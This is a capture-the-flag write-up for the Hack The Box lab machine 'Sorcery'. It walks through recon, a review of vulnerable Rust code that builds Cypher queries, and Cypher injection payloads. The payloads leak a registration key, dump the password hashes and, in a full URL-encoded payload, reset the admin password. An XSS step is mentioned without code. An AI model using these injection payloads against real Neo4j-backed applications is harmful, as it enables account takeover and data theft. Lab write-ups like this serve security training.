cybersecurity

Hack The Box - HTB Sorcery Writeup - Insane - Season 8 Weekly - June 14th, 2025

Hack The Box - HTB Sorcery Writeup - Insane - Season 8 Weekly - June 14th, 2025

Step 1: Recon / Enumeration

  • Run nmap:

    nmap -T4 -vv -sC -sV -oN nmap/intial [MACHINE_IP]
    
  • Discovered open ports:

    • 22/tcp -> SSH (OpenSSH 9.6p1)
    • 443/tcp -> HTTPS (nginx/1.27.1)

Step 2: Web Enumeration

  • Access main website:

    https://sorcery.htb/auth/login
    

  • Discover Gitea server:

    https://git.sorcery.htb
    

Repo discovery:

Code Review:

  • Clone repository:

    GIT_SSL_NO_VERIFY=true git clone https://git.sorcery.htb/nicole_sullivan/infrastructure.git
    

Step 3: Register User

  • Register at:

    https://sorcery.htb/auth/register
    

Register Success

Step 4: Cypher Injection for Registration Key

View Products:

backend-macros/src/lib.rs at line 143

let get_functions = fields.iter().map(|&FieldWithAttributes { field, .. }| {
    let name = field.ident.as_ref().unwrap();	// e.g., "id", "username"
    let type_ = &field.ty;						// field type
    let name_string = name.to_string();			// in our case, "id"
    let function_name = syn::Ident::new(
        &format!("get_by_{}", name_string),		// creates Ident: get_by_id
        proc_macro2::Span::call_site(),
    );

    quote! {
        pub async fn #function_name(#name: #type_) -> Option<Self> {
            let graph = crate::db::connection::GRAPH.get().await;
            
            let query_string = format!(
                r#"MATCH (result: {} {{ {}: "{}" }}) RETURN result"#,
                #struct_name, #name_string, #name
            );
            
            let row = match graph.execute(
                ::neo4rs::query(&query_string)
            ).await.unwrap().next().await {
                Ok(Some(row)) => row,
                _ => return None
            };
            Self::from_row(row).await
        }
    }
});
let query_string = format!(
    r#"MATCH (result: {} {{ {}: "{}" }}) RETURN result"#,
    #struct_name, #name_string, #name
);

Injection Query:

get_by_id("someid\"}) RETURN 1 AS injection //--")

Backend may do this:

MATCH (result: Product { id: "someid"}) RETURN 1 AS injected //--" }) RETURN result

And userInput (i.e., params.product) is:

88b6b6c5-a614-486c-9d51-d255f47efb4f" }) MATCH (u:User {username: 'admin'}) SET u.password = 'HASH' RETURN u // 

Other Query:

88b6b6c5-a614-486c-9d51-d255f47efb4f"}) 
OPTIONAL MATCH (c:Config) 
RETURN result { .*, description: coalesce(c.registration_key, result.description) }
//
  • It closes the original MATCH query:

    ... WHERE id: "${params.product}" }) ...
    

    becomes:

    ... WHERE id: "88b6b6c5-a614-486c-9d51-d255f47efb4f"}) ...
    
  • Then inject a new Cypher clause:

    OPTIONAL MATCH (c:Config)
    

    And returns a manipulated result:

    RETURN result {
      .*, 
      description: coalesce(c.registration_key, result.description)
    }

Ends with a // to comment out any remaining Cypher query logic (like a LIMIT or trailing syntax).

`

  • Found Seller registration key: dd05d743-b560-45dc-9a09-43ab18c7a513

  • Now we can Register as seller using this key

Now we're the seller and we have a new option to add a "New Product"

Step 5: XSS to Extract Admin Passkey

In New Product there is a XSS from which you can retrive the PassKey of Admin and Login using that PassKey

https://sorcery.htb/dashboard/new-product

  • Trigger XSS to extract admin credentials

Step 6: Cypher Injection to Reset Admin Password

Now with this command you can see that Admin password is Stroaged in Argon2 Hash

"}) OPTIONAL MATCH (u:User) RETURN result { .*, description: u.password }//

and you can verify this same thing from the Code Also

if Argon2::default()
    .verify_password(
        password.as_bytes(),
        &PasswordHash::new(&user.password).unwrap(),
    )

Make a Argon2id Hash

Argon2 Hash Generator, Validator, Verifier and Resources.

Raw Payload

88b6b6c5-a614-486c-9d51-d255f47efb4f"}) 
WITH result 
MATCH (u:User {username: 'admin'}) 
SET u.password = '$argon2id$v=19$m=19456,t=2,p=1$9S5BTwdL3xhISWMIhz/3wA$yMnVOfgHjzt50z9pe9J1S1hrH/WHFmoLG+HJwnsb1VM' 
RETURN result { .*, description: 'admin password changed to pain0005' } //

Final Payload

https://sorcery.htb/dashboard/store/88b6b6c5-a614-486c-9d51-d255f47efb4f%22%7D%29%20WITH%20result%20MATCH%20%28u%3AUser%20%7Busername%3A%20%27admin%27%7D%29%20SET%20u.password%20%3D%20%27%24argon2id%24v%3D19%24m%3D19456%2Ct%3D2%2Cp%3D1%249S5BTwdL3xhISWMIhz%2F3wA%24yMnVOfgHjzt50z9pe9J1S1hrH%2FWHFmoLG%2BHJwnsb1VM%27%20RETURN%20result%20%7B%20.%2A%2C%20description%3A%20%27admin%20password%20changed%20to%20pain0005%27%20%7D%20%2F%2F

It resets the admin user's password in the Neo4j database to pain0005

Step 7: Login with Passkey

  • Use WebDevAuthn extension
  • Login using Passkey: admin

Sometimes it will show 404 just try to Relogin

We Need PassKey Login

You Need Extension Called WebDevAuthn

To access it

Inspect Element → Application → 3 dots [Right-side] → More Tool → WebDevAuth

Option 1 : This Device → Add → LogOut → Login_using_Passkey → username: admin